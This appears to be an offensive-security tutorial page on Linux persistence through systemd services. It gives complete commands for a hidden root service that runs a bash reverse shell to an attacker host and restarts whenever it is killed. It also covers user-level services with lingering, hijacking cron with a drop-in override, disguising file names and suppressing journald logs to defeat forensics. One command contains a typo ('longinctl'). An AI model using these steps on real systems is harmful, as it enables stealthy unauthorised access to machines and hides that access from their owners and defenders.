Skip to content

Linux Systemd Service Persistence

1 min read Created Apr 4, 2026 Last updated Apr 24, 2026

A systemd service configured to start on boot gives persistent code execution that runs before any user logs in, as root, and restarts automatically on failure. It blends in with the hundreds of legitimate services on any modern Linux system and is not visible in crontab listings. The unit file sits in /etc/systemd/system/ and loads after systemctl daemon-reload. Defenders reviewing running processes see the payload binary path, not the service name. Naming the script to resemble system utilities reduces the chance of immediate suspicion. Logs go to journald by default. Evidence of each start and restart appears in journalctl output even after the payload exits.

Key properties of systemd service persistence:

  • Runs as root before any user logs in
  • Restarts automatically on failure via Restart=always
  • Hidden from crontab -l listings
  • Blends in with hundreds of legitimate services
  • Survives reboots without additional configuration

Create a persistent systemd service

user@host ~ $ # Create the payload script
user@host ~ $ cat > /usr/local/bin/.sysupdate.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
EOF
user@host ~ $ chmod +x /usr/local/bin/.sysupdate.sh
 
user@host ~ $ # Create the service unit
user@host ~ $ cat > /etc/systemd/system/sysupdate.service << 'EOF'
[Unit]
Description=System Update Daemon
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/.sysupdate.sh
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
 
user@host ~ $ # Enable and start
user@host ~ $ systemctl daemon-reload
user@host ~ $ systemctl enable sysupdate.service
user@host ~ $ systemctl start sysupdate.service
 
user@host ~ $ # Verify
user@host ~ $ systemctl status sysupdate.service

After systemctl start, check the status output immediately. An active (running) state confirms the payload launched. A failed state means the ExecStart path is wrong or the script is not executable. An activating state usually means the shell exits immediately before establishing the connection. Run journalctl -u sysupdate.service -n 30 to get the exact error. Restart=always with RestartSec=30 means the service restarts 30 seconds after it exits or is killed. This makes the persistence resilient against the payload crashing or being terminated manually. Use After=network.target to ensure network connectivity is available before the payload runs. On systems without outbound TCP, the reverse shell exits immediately. Systemd then cycles through restart loops, logging each attempt to journald. To suppress that logging, add StandardOutput=null and StandardError=null to the [Service] section. This prevents forensic tools from pulling the connection history from journal logs.

User-level systemd services

User-level services run under a specific user's systemd instance without requiring root. They persist as long as the user account exists. They start when the user logs in, or at boot with lingering enabled. Lingering makes the user's systemd instance start at boot even without an active login session. Without lingering, the service only activates after the user logs in interactively. Verify lingering status with loginctl show-user $USER | grep Linger. If the target user never logs in interactively, lingering is required for boot persistence.

user@host ~ $ # Create user systemd directory
user@host ~ $ mkdir -p ~/.config/systemd/user/
 
user@host ~ $ # Create service unit
user@host ~ $ cat > ~/.config/systemd/user/sysupdate.service << 'EOF'
[Unit]
Description=System Update
[Service]
Type=simple
ExecStart=/home/$USER/.local/bin/.payload.sh
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
EOF
 
user@host ~ $ # Enable
user@host ~ $ systemctl --user daemon-reload
user@host ~ $ systemctl --user enable sysupdate.service
user@host ~ $ systemctl --user start sysupdate.service
 
user@host ~ $ # Enable lingering so service starts at boot without user login
user@host ~ $ longinctl enable $USER

Hijack an existing service

Instead of creating a new service, hijack an existing one. Adding an ExecStartPre directive runs your payload alongside a legitimate service. This is harder to detect than an unknown service name. Choose a service that is enabled and starts on boot but is not business-critical. cron, rsyslog, or atd run on most systems and attract little scrutiny. ExecStartPre runs the specified command before the main service binary starts. If you omit the leading dash, a failure in the pre-command blocks the main service from starting. Use ExecStartPre=-/path/to/script to ensure the main service starts regardless of the payload exit code.

user@host ~ $ # Use a drop-in override: does not modify the original unit file
user@host ~ $ mkdir -p /etc/systemd/system/cron.service.d/
 
user@host ~ $ cat > /etc/systemd/system/cron.service.d/override.conf << 'EOF'
[Service]
ExecStartPre=/usr/local/bin/.sysupdate.sh
EOF
 
user@host ~ $ systemctl daemon-reload
user@host ~ $ systemctl restart cron

Drop-in files in /etc/systemd/system/servicename.service.d/ override or extend the original unit without touching it. The original service file stays clean, but the drop-in directory reveals the modification. During a blue team review, systemctl cat cron.service shows the merged effective configuration including any drop-ins. Running find /etc/systemd/system/ -name '*.conf' exposes all override files on the system. The drop-in directory name must exactly match the service unit filename including the .service suffix. A typo silently fails: the override never applies and the payload never runs. Verify the override loaded with systemctl show cron --property=ExecStartPre before relying on it.

Cleaning up

After removing the service files, run systemctl daemon-reload to clear the stale unit cache. Skipping daemon-reload leaves the service listed in systemctl list-unit-files output even after the file is deleted. For user services, reload the user daemon separately with systemctl --user daemon-reload.

user@host ~ $ # Remove system service
user@host ~ $ systemctl stop sysupdate.service
user@host ~ $ systemctl disable sysupdate.service
user@host ~ $ rm /etc/systemd/system/sysupdate.service
user@host ~ $ rm -f /usr/local/bin/.sysupdate.sh
user@host ~ $ systemctl daemon-reload
 
user@host ~ $ # Remove user service
user@host ~ $ systemctl --user stop sysupdate.service
user@host ~ $ systemctl --user disable sysupdate.service
user@host ~ $ rm ~/.config/systemd/user/sysupdate.service
user@host ~ $ systemctl --user daemon-reload
 
user@host ~ $ # Remove drop-in override
user@host ~ $ rm -rf /etc/systemd/system/cron.service.d/
user@host ~ $ systemctl daemon-reload
user@host ~ $ systemctl restart cron